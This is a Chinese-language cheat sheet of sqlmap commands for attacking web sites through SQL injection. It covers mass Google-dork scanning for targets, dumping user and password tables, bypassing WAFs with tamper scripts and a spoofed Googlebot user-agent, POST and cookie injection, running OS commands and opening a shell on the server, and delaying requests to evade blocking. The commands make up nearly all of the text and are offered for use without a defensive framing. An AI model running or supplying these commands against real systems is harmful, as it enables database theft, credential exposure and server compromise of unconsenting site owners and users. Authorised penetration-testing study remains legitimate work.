SQLMap 的常用语法
1.sqlmap.py -u "www.xxx.com/news.asp?id=1"// 检查注入点
2.sqlmap.py -u "www.xxx.com/news.asp?id=1" --current-user// 获取当前用户名
3.sqlmap.py -u "www.xxx.com/news.asp?id=1" --current-db//获取数据库名,得到库admin
4.sqlmap.py -u "www.xxx.com/news.asp?id=1" --privileges//权限判断
5.sqlmap.py -u "www.xxx.com/news.asp?id=1" --users//枚举管理系统用户
6.sqlmap.py -u "www.xxx.com/news.asp?id=1" --passwords//枚举管理系统用户哈希
7.sqlmap.py -u "www.xxx.com/news.asp?id=1" --tables -D "admin"//查admin库中的表名,得到user表
8.sqlmap.py -u "www.xxx.com/news.asp?id=1" --columns -T "user" -D "admin" -v 5//查字段,v后数字越大越详细,得到id,username,password
9.sqlmap.py -u "www.xxx.com/news.asp?id=1" --dump -C "id,username,password" -T "user" -D "admin" -v 5//拖库,或者使用--dump-all
10.--dbms "Mysql"//指定数据库类型
11.--dbs//列数据库
12.--passwords -U root//指定列数据库用户root的密码
13.--level 5//执行测试的等级
14.--user-agent "Googlebot/2.1"
15.--tamper "space2morehash.py"
以上为常用sqlmap命令,其他的请查阅手册。
sqlmap 借助 google 批量扫注入点
1.sqlmap.py -g "site:target.com inurl:asp"
2.如果要查询注入选y,跳过选n
注:大部分查询结果不存在注入
sqlmap 利用编码绕过 WAF
通过不同编码,绕过WAF
1.sqlmap.py -u "www.xxx.com/news.asp?id=1" --dbs --tamper "space2morehash.py"//利用.py脚本改变编码,除了space2hash.py,还有base64encode.py、charencode.py等等,可查/usr/share/sqlmap/tamper
2.sqlmap.py --proxy http://127.0.0.1:8087 -u "www.xxx.com/news.asp?id=1" -v 3 –dbms “MySQL” --tamper "space2morehash.py" --referer "http://www.google.com" --user-agent "Googlebot/2.1" //模拟google爬虫
sqlmap post 注入
方法一:结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。
1.浏览器打开目标地址 http://www.testfire.net/bank/login.aspx
2.配置burp代理(127.0.0.1:8080)以拦截请求
3.点击login表单的submit按钮
4.如下图,这时候Burp会拦截到了我们的登录POST请求
5.把这个post请求复制为txt, 我这命名为testfire.txt 然后把它放至c盘下
6.运行sqlmap并使用如下命令:sqlmap.py -r c:/testfire.txt -p uid,这里参数 -r 是让sqlmap加载我们的post请求testfire.txt,而 -p 为指定注入用的参数。
方法二:指定参数post注入
1.sqlmap.py -u "http://www.testfire.net/bank/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"
sqlmap cookies 注入
1.sqlmap.py -u "www.xxx.com/news.asp" --cookie "id=1" --current-db
2.sqlmap.py -u "www.xxx.com/news.asp" --cookie "id=1" --tables -D "admin"
......
注:注入时有可能存在连接线程数限制,线程设置不要太大
sqlmap 执行 shell 命令
在数据库权限足够大的时候,可以使用cmd命令:
1.sqlmap.py -u "www.xxx.com/news.asp?id=1" --os-cmd=ipconfig//执行ipconfig命令
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\
sqlmap获得一个shell
1.sqlmap.py -u "www.xxx.com/news.asp?id=1" --os-shell
2.选取该web的脚本种类,此时为asp,选1
3.指定网站的根目录路径,如:d:\www\
4.此时可以执行命令,并会在d:\www\下生成两个临时文件(tmpbxbxz.php/tmpuoiuz.php)
sqlmap 伪静态注入
伪静态页面网址:www.xxx.com/index.php/Index/view/id/40.html
1.sqlmap.py -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs//在存在注入的地方加入*键
2.sqlmap.py -u "www.xxx.com/index.php/Index/view/id/40*.html" --tables -D "admin"
......
sqlmap 延迟注入
某些网站有防注入保护,短时间内如果请求次数较多或短时间内请求错误页面次数较多都可能被网站屏蔽
1.sqlmap.py -u "www.xxx.com/index.php/Index/view/id/40*.html" --dbs --delay 5//间隔5秒请求一次
2.--safe-url//详细说明请查阅手册
3.--safe-freq//详细说明请查阅手册